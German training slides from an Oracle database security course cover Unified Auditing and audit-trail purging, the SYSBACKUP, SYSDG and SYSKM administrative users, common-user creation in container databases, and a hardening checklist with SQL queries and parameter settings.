Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-31

Stichwörter: Unified Auditing; Auswerten

Security II 8 - 31

Page 245: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Audit Tabellenspalten (Auswahl)

Spalte Beschreibung Spalte Beschreibung

os_username Nutzer im BS return_code Fehler wenn <>0

userhost Rechnername transaction_id Id der Transaction

terminal Terminalname scn System Change Nr.

dbid Id der DB object_schema beteil. Schema

authentication_type

Listener VerbindungsDaten

object_name Name des DB Objekts

dbusername DB Benutzer sql_text Auditierter Befehl

client_program_name

Name des ClientPrograms

system_privilege_used

Verwendetes Privileg

event_timestamp Aufzeichnungszeit unified_audit_policies

Durch welche Policies wurde aufgezeichnet ?

action_name Was wurde auditiert audit_type Aufzeichnungstyp

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-32

Security II 8 - 32

Page 246: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

AUDIT_TYPE

Folgende AUDIT_TYPE Werte können aufgezeichnet werden:

Standard

FineGrainedAudit

XS

Database Vault

Label Security

RMAN_AUDIT

Datapump

Direct path API

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-33

Security II 8 - 33

Page 247: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit löschen

Sie löschen ein bestehendes Audit mittels:

DROP AUDIT POLICY <policy_name>;

Beispiel:

DROP AUDIT POLICY dml_pol;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-34

Stichwörter: Unified Auditing; löschen

Security II 8 - 34

Page 248: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit Einträge zeitgesteuert löschen

Job erstellen, der alle 96 Stunden Audit Einträge l öscht:BEGIN DBMS_AUDIT_MGMT.CREATE_PURGE_JOB ( AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, AUDIT_TRAIL_PURGE_INTERVAL => 96,/*Start alle 96 St unden*/ AUDIT_TRAIL_PURGE_NAME => 'AUDIT_CLEANUP', USE_LAST_ARCH_TIMESTAMP => TRUE, CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT);END;

use_last_arch_timestamp:

TRUE: Alle Audit Einträge vor dem letzten Zeitstemp el archivieren (Siehe Spalte last_archive_ts in DBA_AUDIT_MGMT_ARC H_TS)

FALSE: Alle Einträge löschen

Sie können das Intervall ändern mittels:DBMS_AUDIT_MGMT.SET_PURGE_JOB_INTERVAL

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-35

AUDIT_TRAIL_TYPE kann vom Typ sein:DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD: Standard Audit Tabelle aud$DBMS_AUDIT_MGMT.AUDIT_TRAIL_FGA_STD: Fine Grain Auditing Tabelle fga_log$DBMS_AUDIT_MGMT.AUDIT_TRAIL_DB_STD: Beide Tabellen aud$ und fga_log$DBMS_AUDIT_MGMT.AUDIT_TRAIL_OS: Dateien im OS mit Endung .aud (Windows verwendet das Eventlog und dort wird nicht gelöscht)DBMS_AUDIT_MGMT.AUDIT_TRAIL_XML: XML Audit Dateien im OSDBMS_AUDIT_MGMT.AUDIT_TRAIL_FILES: .AUD und .XML Dateien im OSDBMS_AUDIT_MGMT.AUDIT_TRAIL_ALL: Alle Audit Informationen (Dateien und Tabellendaten)DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED: Für Unified Auditing (ab 12c)

Hinweis:Alternativ können Sie auch einen Zeitpunkt festlegen, wo Audit Daten, die älter sind, gelöscht werden:

BEGINDBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP(

audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL _UNIFIED,last_archive_time => TO_TIMESTAMP( '09-AUG-2014 12:11:10.00 ','DD-MON-RRRR

HH24:MI:SS.FF'));DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(

audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_ TRAIL_UNIFIED,use_last_arch_timestamp => TRUE);

END;/

Stichwörter: Unified Auditing; löschen

Security II 8 - 35

Page 249: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit Einträge manuell löschen

Unified Audit Einträge vor dem letzten Zeitstempel sofort löschen:

BEGIN DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL( AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNI FIED, USE_LAST_ARCH_TIMESTAMP => TRUE, CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT ); END;

Container wird in der Pluggable Database verwendet und kann folgende Werte annehmen:

dbms_audit_mgmt.container_current: Nur für aktuelle n container

dbms_audit_mgmt.container_all: Für alle Container

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-36

Folgende AUDIT_TRAIL_TYPE Einträge werden unterstützt:AUDIT_TRAIL_UNIFIED

Für das normale Audit Trail gibt es weiterhin die Typen:AUDIT_TRAIL_AUD_STDAUDIT_TRAIL_FGA_STDAUDIT_TRAIL_DB_STD (both AUD + FGA)AUDIT_TRAIL_OSAUDIT_TRAIL_XMLAUDIT_TRAIL_FILES (both OS & XML)AUDIT_TRAIL_ALL

Weiteres Beispiel:Unified Audit Trail sofort komplett löschen:BEGINDBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,use_last_arch_timestamp => FALSE);END;/

Stichwörter: Unified Auditing; löschen

Security II 8 - 36

Page 250: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit Einträge löschen in Read Only DB

Ab Version 12.1.0.2 können auch in einer Read Only Datenbank alte Audit Einträge gelöscht werden

Beide Packageaufrufe sind nutzbar:

DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP

DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL

Neu hinzugekommen sind

DBMS_AUDIT_MGMT.GET_AUDIT_TRAIL_PROPERTY_VALUE (Zur Betrachtung der Parameter aus dem Speicher)

DBMS_AUDIT.MGMT.GET_LAST_ARCHIVE_TIMESTAMP (Zum Auslesen des Zeitstempels für Löscheoperationen)

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-37

Hinweis:Jedoch sind weiterhin folgende Packages in einer Read Only DB nicht verfügbar:•AUDIT_TRAIL_AUD_STD•AUDIT_TRAIL_FGA_STD•AUDIT_TRAIL_DB_STD•AUDIT_TRAIL_ALL

Security II 8 - 37

Page 251: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Mandatory Auditing

Startup Kommandos oder Befehle, die abgesetzt werde n, wenn die Datenbank nicht zum Schreiben zur Verfügung ste ht, werden auf der Betriebssystemebene erfasst

$ORACLE_BASE/audit/$ORACLE_SID (Endung *.bin)

Die Audit Daten können später in die Datenbank gela den werden

DBMS_AUDIT_MGMT.LOAD_UNIFIED_AUDIT_FILES

• Nur SYS und AUDIT_ADMIN haben Ausführungsberechtigu ng für das Package DBMS_AUDIT_MGMT

• Jede Ausführung des Package wird auditiert

Nach dem Laden der .bin Dateien in die Datenbank, s ollten Sie im Betriebssystem gelöscht werden (in 12.1.0.2 hatten wir aber einige Leichen weiter dort liegen ☺☺☺☺ )

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-38

• Laden großer Datenmengen beeinflusst eventuell die DB Performance • Aufzeichnung aller Befehle, die Auditing Verhalten beeinflussen • Befehle, die die Konfiguration von Database Vault beeinflussen

Security II 8 - 38

Page 252: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit Views

View Name Beschreibung

USER_/ALL_/DBA_AUDIT_POLICIES Alle Fine Grain Audit Policies für Benutzer/DBA

ALL_DEF_AUDIT_OPTS Objekte Audits für neu zu erstellende Objekte

AUDIT_UNIFIED_CONTEXTS App Context für Audit Trail

AUDIT_UNIFIED_ENABLED_POLICIES Alle eingeschaltenen Audit Policy

AUDIT_UNIFIED_POLICIES Alle existierenden Audit Policy

AUDIT_UNIFIED_POLICY_COMMENTS Kommentare für Audit Policy

AUDITABLE_SYSTEM_ACTIONS Auditierbare System Action zu Aktionsnamen

CDB_UNIFIED_AUDIT_TRAIL Für Root Container einer CDB: Wie UNIFIED_AUDIT_TRAIL, aber für alle PDB

DBA_XS_AUDIT_TRAIL Audit Trail Infos für Real Application Security

UNIFIED_AUDIT_TRAIL Anzeige aller Audit Einträge

V$UNIFIED_AUDIT_TRAIL Anzeige aller Audit Einträge aus Speicher

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-39

SELECT * FROM AUDIT_UNIFIED_ENABLED_POLICIES;

SELECT * FROM AUDIT_UNIFIED_POLICIES;

Management Views:SELECT * FROM DBA_AUDIT_MGMT_CONFIG_PARAMS;:

Stichwörter: Unified Auditing; Views

Security II 8 - 39

Page 253: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 9Security

Security II 9-1

Page 254: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Benutzer

APEX_040200 (APEX Entwicklungsbenutzer für Version 4.2 ohne Patch 4.2.5 !)

AUDSYS (Benutzer für Unified Audit zum Speichern vo n Audit Trail Records)

OJVMSYS (Oracle Java VM Benutzer)

SYSDG (zum Ausführen von Data Guard Operationen)

SYSBACKUP (für die Benutzung des RMAN)

SYSKM (Benutzer für Transparent Data Encryption)

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-2

Gelöschte Benutzer:CTXSYS (Context Benutzer)MGMT_VIEW (Enterprise ManagerSYSMAN (Enterprise Manager)

Stichwörter: Benutzer

Security II 9-2

Page 255: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Parameter für Passwort-Datei

Usage: orapwd file=<fname> entries=<users> force=<y /n> ignorecase=<y/n>asm=<y/n> dbuniquename=<dbname> extended=<y/n> sysb ackup=<y/n>sysdg=<y/n>

where

file - name of password file (required),password - password for SYS will be prompted if not specified at command line,entries - maximum number of distinct DBA (optional),force - whether to overwrite existing file (optional ),ignorecase - passwords are case-insensitive (optiona l),asm - indicates that the password to be stored in Au tomatic Storage Management (ASM) disk group is an ASM password. (optional).dbuniquename - unique database name used to identify database password files residing in ASM diskgroup only. Ignored when asm option is s pecified (optional),extended - use the extended format for SYSBACKUP, SY SDG, and SYSKM support and for longer identifiers (optional),sysbackup - create SYSBACKUP entry (optional and req uires the the extended format)sysbackuppwd - password for SYSBACKUP will be prompt ed if not specified at command line,sysdg - create SYSDG entry (optional and requires th e extended format),sysdgpwd - password for SYSDG will be prompted if no t specified at command line.

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-3

Stichwörter: Passwort-Datei

Security II 9-3

Page 256: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

System Benutzer in der Passwortdatei

GRANT SYSOPER TO muso_sysoper IDENTIFIED BY p;

GRANT SYSASM TO muso_sysasm IDENTIFIED BY p; -- In A SM !

GRANT SYSBACKUP TO muso_sysbackup IDENTIFIED BY p;

GRANT SYSDG TO muso_sysdg IDENTIFIED BY p;

GRANT SYSKM TO muso_syskm IDENTIFIED BY p;

SELECT * FROM v$pwfile_users;

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-4

Welche Rechte haben die neuen Benutzer: SYSBACKUP:•STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SYSTEM •ALTER SESSION •ALTER TABLESPACE •CREATE CONTROLFILE •CREATE ANY DIRECTORY •CREATE ANY TABLE •CREATE ANY CLUSTER •CREATE PFILE •CREATE RESTORE POINT (inclusive GUARANTEED restore points) •CREATE SESSION •CREATE SPFILE •DROP DATABASE •DROP TABLESPACE •DROP RESTORE POINT (inclusive GUARANTEED restore points) •FLASHBACK DATABASE •RESUMABLE •UNLIMITED TABLESPACE •SELECT ANY DICTIONARY •SELECT ANY TRANSACTION •SELECT

• X$ tables (fixed tables) • V$ and GV$ views (dynamic performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN • SYSTEM.LOGSTDBY$PARAMETERS

•DELETE/INSERT • SYS.APPLY$_SOURCE_SCHEMA • SYSTEM.LOGSTDBY$PARAMETERS

•EXECUTE • SYS.DBMS_BACKUP_RESTORE • SYS.DBMS_RCVMAN • SYS.DBMS_DATAPUMP • SYS.DBMS_IR • SYS.DBMS_PIPE • SYS.SYS_ERROR • SYS.DBMS_TTS • SYS.DBMS_TDB • SYS.DBMS_PLUGTS • SYS.DBMS_PLUGTSP

• SELECT_CATALOG_ROLE

Stichwörter: Passwort-Datei, Neue System Benutzer; SYSBACKUP

Security II 9-4

Page 257: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Übersicht der Rechte pro Benutzer

Die drei neuen Benutzer können nicht mehr gelöscht werden

Startup/Shutdown

ALTER DBOPENMOUNTBACKUPARCHIVE LOG

RECOVERDB

SELECT auf APP Tabellen

CHANGECHARACTERSET

CREATE,DROP DB

CREATESPFILE

RESTRICTEDSESSION

Schema/GrundPrivilegien

SYSDBA(ab 8.0)

SYS

SYSOPER(ab 8.0)

Vollständig PUBLIC

SYSBACKUP(ab 12.1)

CREATE SYSBACKUP

SYSDG(ab 12.1)

SYSDG

SYSKM(ab 12.1)

SYSKM

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-5

Welche Rechte haben die neuen Benutzer: SYSDG

•STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SESSION •ALTER SYSTEM •CREATE RESTORE POINT (including GUARANTEED restore points) •CREATE SESSION •DROP RESTORE POINT (including GUARANTEED restore points) •FLASHBACK DATABASE •SELECT ANY DICTIONARY •SELECT

• X$ tables (fixed tables) • V$ and GV$ views (performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN

•DELETE • APPQOSSYS.WLM_CLASSIFIER_PLAN

•EXECUTE • SYS.DBMS_DRS

Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG

Security II 9-5

Page 258: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

SYSDBA Ersatz

Für bestimmte administrative Aufgaben stehen nun abgeschwächte Rechte zur Verfügung:

SYSBACKUP

für Backup & Recovery Aufgaben mittels RMAN oder SQL*Plus

rman target '"sys/sys as sysbackup"'

SYSDG

zur Verwaltung des Oracle Data Guard oder des dgmgr l Tools

SYSKM

zur Verwaltung des Encryption Key Managements (Transparent Data Encryption Wallet)

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-6

Welche Rechte haben die neuen Benutzer: SYSKM

•ADMINISTER KEY MANAGEMENT •CREATE SESSION •SELECT (nur wenn DB geöffnet ist)

• SYS.V$ENCRYPTED_TABLESPACES • SYS.V$ENCRYPTION_WALLET • SYS.V$WALLET • SYS.V$ENCRYPTION_KEYS • SYS.V$CLIENT_SECRETS • SYS.DBA_ENCRYPTION_KEY_USAGE

Zusätzlich erlaubt das SYSKM eine Anmeldung an einer nicht gestarteten DB

Stichwörter: SYSKM

Security II 9-6

Page 259: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Anmeldung als SYSBACKUP

sqlplus sys/sys as sysbackup

Welche SYSTEM-Rechte besitzt man nun ?SYSBACKUP

SELECT ANY TRANSACTION

SELECT ANY DICTIONARY

RESUMABLE

CREATE ANY DIRECTORY

ALTER DATABASE

AUDIT ANY

Welche Objektrechte hat man ? SQL> select * from scott.emp;

���� ORA-01031: insufficient privileges

Bis auf Verwaltungstabellen keine

CREATE ANY CLUSTER

CREATE ANY TABLE

UNLIMITED TABLESPACE

DROP TABLESPACE

ALTER TABLESPACE

ALTER SESSION

ALTER SYSTEM

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-7

Anmeldung beim RMAN% rman RMAN> CONNECT TARGET "mysys@prod AS SYSBACKUP"

target database Password:connected to target database: O12C (DBID=3443393097 )

Laut Handbuch sollte auch folgende Anmeldung funktionieren (leider stimmt das nicht ganz (Stand Jan 2014)):rman target='sys/sys as sysdba' undrman target='sys/sys as sysbackup'

Denn auch Folgendes akzeptiert der RMAN unter Windows anstandslos:rman target='sys i /sys as sysbackup i '

Stichwörter: Benutzer; SYSBACKUP

Security II 9-7

Page 260: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Erweitertes CREATE USER Kommando

CREATE USER c## scottIDENTIFIED BY tigerDEFAULT TABLESPACE users QUOTA 100M ON test_ts QUOTA 500K ON data_ts TEMPORARY TABLESPACE temp_ts PROFILE def_profileCONTAINER = CURRENT| ALL ;

CONTAINER = CURRENT : Für lokalen Benutzer in lokal er PDB, bei der man angemeldet ist

CONTAINER = ALL : Wenn man an der CDB$ROOT angemeldet ist muss Benutzername mit c## beginnen

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-8

Hinweis

Wenn ein Common User erstellt wurde, müssen in allen Containern (PDBs) die folgenden Objekte die refernziert wurden auch vorhanden sein:

•DEFAULT TABLESPACE•TEMPORARY TABLESPACE•QUOTA•PROFILE

Stichwörter: Create

Security II 9-8

Page 261: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzer anlegen in CDB

Benutzer, die in einer Container DB auf PDB$SEED angelegt werden, müssen mit dem Prefix c## oder C## beginnen

Beispiel:

CREATE USER c## comm_user IDENTIFIED BY comm_pwd DEFAULT TABLESPACE users QUOTA 32M ON users TEMPORARY TABLESPACE temp PROFILE comm_prof;

Die Tablespaces users und temp und das Profile comm_prof müssen in allen Containern, die zur DB gehören existieren

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-9

CREATE USER Klausel ab 12c:

CREATE USERuser IDENTIFIED { BY password | EXTERNALLY [ AS'certificate_DN' | AS 'kerberos_principal_name' ] | GLOBALLY [ AS '[ directory_DN ]' ] } [ DEFAULT TABLESPACEtablespace | TEMPORARY TABLESPACE{ tablespace | tablespace_group_name } | { QUOTA{ size_clause | UNLIMITED } ON tablespace }... | PROFILE profile | PASSWORD EXPIRE| ACCOUNT{ LOCK | UNLOCK} | ENABLE EDITIONS | CONTAINER= { CURRENT| ALL } ]... ] ;

Stichwörter: Create, Benutzer

Security II 9-9

Page 262: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Fehlerhafter Login / Login Zeit

Nach einer falschen Passworteingabe in SQL*Plus erh ält man nach erfolgreicher Anmeldung

Die letzte Login Zeit wird in user$ aufgezeichnet u nd beim nächsten Anmelden bei SQL*Plus angezeigt.

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-10

Stichwörter: Login

Security II 9-10

Page 263: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Oracle Maintained Rollen/Benutzer

Oracle dokumentiert, welche Rollen und Benutzer dur ch die Standardskripten erstellt wurden und welche vom Benutzer manuell angelegt wurden

Welche Rechte/Rollen wurden nicht von Oracle erzeug t ?

SELECT username FROM dba_usersWHERE oracle_maintained = 'N';

SELECT roleFROM dba_roles

WHERE oracle_maintained = 'N';

Kapitel 9 - SecurityMuniQSoft GmbH Security II 9-11

Stichwörter: Rollen, Benutzer

Security II 9-11

Page 264: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 10Checkliste

Page 265: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Einleitung

Die nachfolgende Checkliste sollen Ihnen helfen, Ih re Datenbank sicherer zu machen

Wir haben uns auf die wichtigsten Punkte beschränkt

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 2

Installieren Sie nur die Oracle Produkte und Optionen, die Sie wirklich benötigen. So ist ein Apache Webserver häufig nicht notwendig. Auch diverse Optionen wie Spatial oder OLAP installieren Accounts und damit potenzielle Angriffsziele für Hacker.

Page 266: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwörter ändern/Benutzer sperren

Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die Passwörter geändert werd en

ALTER USER SYSTEM IDENTIFIED BY <neupwd>;

Sperren Sie alle unnötigen Accounts

ALTER USER OUTLN ACCOUNT LOCK;

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 3

Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die Passwörter geändert werden

ALTER USER SYSTEM IDENTIFIED BY <neupwd>;ALTER USER SYS IDENTIFIED BY <neupwd>;

Auch alle weiteren auf dem System installierten Benutzer sollten schwer zu knackende Passwörter bekommen.

Sperren Sie alle unnötigen Accounts. Damit ist es auch bei bekanntem Passwort unmöglich, sich unter diesem Account anzumelden.

ALTER USER CTXSYS ACCOUNT LOCK;ALTER USER MDSYS ACCOUNT LOCK;

Auch im Betriebssystem sollten nur alle wirklich notwendigen Benutzer noch existieren. Vergeben Sie nur die notwendigen Betriebssystemrechte an die Benutzer.

Page 267: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rechteüberprüfung/Netzwerk

Prüfen Sie die Vergabe der Rechte an die Benutzer genau.

Welche Rechte sind zwingend nötig, welche nicht ?

Welche Rechte wurden an Public vergeben? UTL_FILE?

Verschlüsseln Sie den Netzwerkverkehr

Verwenden Sie Firewalls

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 4

Wenn Teile einer Tabelle geschützt werden sollen, legen Sie eine View über die Tabelle, entziehen Sie die Lese- und Schreibrechte von der Tabelle und vergeben Sie die gewünschten Rechte auf die View.

Verschlüsseln Sie den Netzwerkverkehr mittels der Advanced Networking Option. Sollten die Clients außerhalb des Firmennetzwerks sein, wird der Einsatz von Firewalls empfohlen.Der Listener sollte gegen Änderungen im laufenden Betrieb gesichert werden. Auch der Einsatz eines Passworts für die Administration wird empfohlen.Schließen Sie alle unberechtigten Clients von der Kommunikation von Oracle aus. (tcp.validnode_checking)

Page 268: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

INIT.ORA Parameter Prüfung

dblink_encrypt_login=true

remote_os_authent=false

remote_os_roles=false

o7_dictionary_accessibility=false

sql92_security=true

global_names=true

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 5

Folgende init.ora Parameter sollten gesetzt sein:

dblink_encrypt_login=trueDieser Parameter verhindert, dass Passwörter zwischen Datenbanken jemals unverschlüsselt übertragen werden können

remote_os_authent=falseEine externe Authentifizierung ist damit nicht möglich

remote_os_roles=falseExterne Rollen sind damit ausgeschalten

o7_dictionary_accessibility=falseDer Zugriff auf den internen Verwaltungsapparat wird damit beschränkt

sql92_security=trueDamit wird bei einem DELETE-Recht auf eine Tabelle auch ein SELECT Recht benötigt

global_names=trueDamit muss ein Datenbank-Link so wie die zugehörige Datenbank heißen

Page 269: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Prüfung auf neusten Patch

Prüfen Sie Ihre Datenbank auf den neusten Patch

SELECT comp_name,version,statusFROM dba_registry;

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 6

Hinweis: Ausführliche Version:SELECT comp_name,status,modified,version,case WHEN version like '8.1.7%' then '8.1.7.4' WHEN version like '9.2.0%' then '9.2.0.8'WHEN version like '10.1.%' then '10.1.0.6' -- Bitte höchsten Patchlevel eintragenWHEN version like '10.2.%' then '10.2.0.5' -- Bitte höchsten Patchlevel eintragenWHEN version like '11.1.%' then '11.1.0.7' -- Bitte höchsten Patchlevel eintragenWHEN version like '11.2.%' then '11.2.0.4' -- Bitte höchsten Patchlevel eintragenWHEN version like '12.1.%' then '12.1.0.2' -- Bitte höchsten Patchlevel eintragenWHEN comp_name='Oracle Application Express' then '4 .2.5' -- Bitte höchsten Patchlevel eintragenELSE '??'end "MaxPatchlevel", case WHEN version like '8.1.7%' then decode (replace(ver sion,'.','')-8174,0,'OK','UPGRADE ###')WHEN version like '9.2.0%' then decode (replace(ver sion,'.','')-92080,0,'OK','UPGRADE ###')WHEN version like '10.1.%' then decode (replace(ver sion,'.','')-101060,0,'OK','UPGRADE ###')WHEN version like '10.2.%' then decode (replace(ver sion,'.','')-102040,0,'OK','UPGRADE ###')WHEN version like '11.1.%' then decode (replace(ver sion,'.','')-111060,0,'OK','UPGRADE ###')WHEN version like '11.2.%' then decode (replace(ver sion,'.','')-112030,0,'OK','UPGRADE ###')WHEN version like '12.1.%' then decode (replace(ver sion,'.','')-121020,0,'OK','UPGRADE ###')WHEN comp_name='Oracle Application Express' then de code (replace(version,'.','')-4250008,0,'OK','UPGRADE ###')ELSE '??'end "UPGRADE?"FROM dba_registry;

Page 270: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Prüfung auf neuen PWD Algorithmus

Ab Version 12c sollte der alte Passwort-Algorithmus abgeschalten werden

SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 (ab 11.2.0.3 )

SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a(ab 12.1.0.2)

SELECT username,password_versions,account_status,expiry_da te FROM dba_usersWHERE password_versions LIKE '%10G%' AND account_status NOT LIKE '%LOCKED%';

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 7

Page 271: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Welche Policies sind im Einsatz

SELECT u.name object_owner, o.name object_name, r.g name policy_group, r.pname policy_name,r.pfschma pf_owner, r.ppname "package", r.pfname "f unction",

decode(bitand(r.stmt_type,1), 0, 'NO', 'YES') SELEC T,decode(bitand(r.stmt_type,2), 0, 'NO', 'YES') ins,decode(bitand(r.stmt_type,4), 0, 'NO', 'YES') upd,decode(bitand(r.stmt_type,8), 0, 'NO', 'YES') del,decode(bitand(r.stmt_type,2048), 0, 'NO', 'YES') id x,decode(r.check_opt, 0, 'NO', 'YES')chk_option,decode(r.enable_flag, 0, 'NO', 'YES') "enable"

FROM user$ u, obj$ o, rls$ rWHERE u.user# = o.owner#AND r.obj# = o.obj#AND u.name not in ('XDB','SYSTEM','MDSYS');

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 8

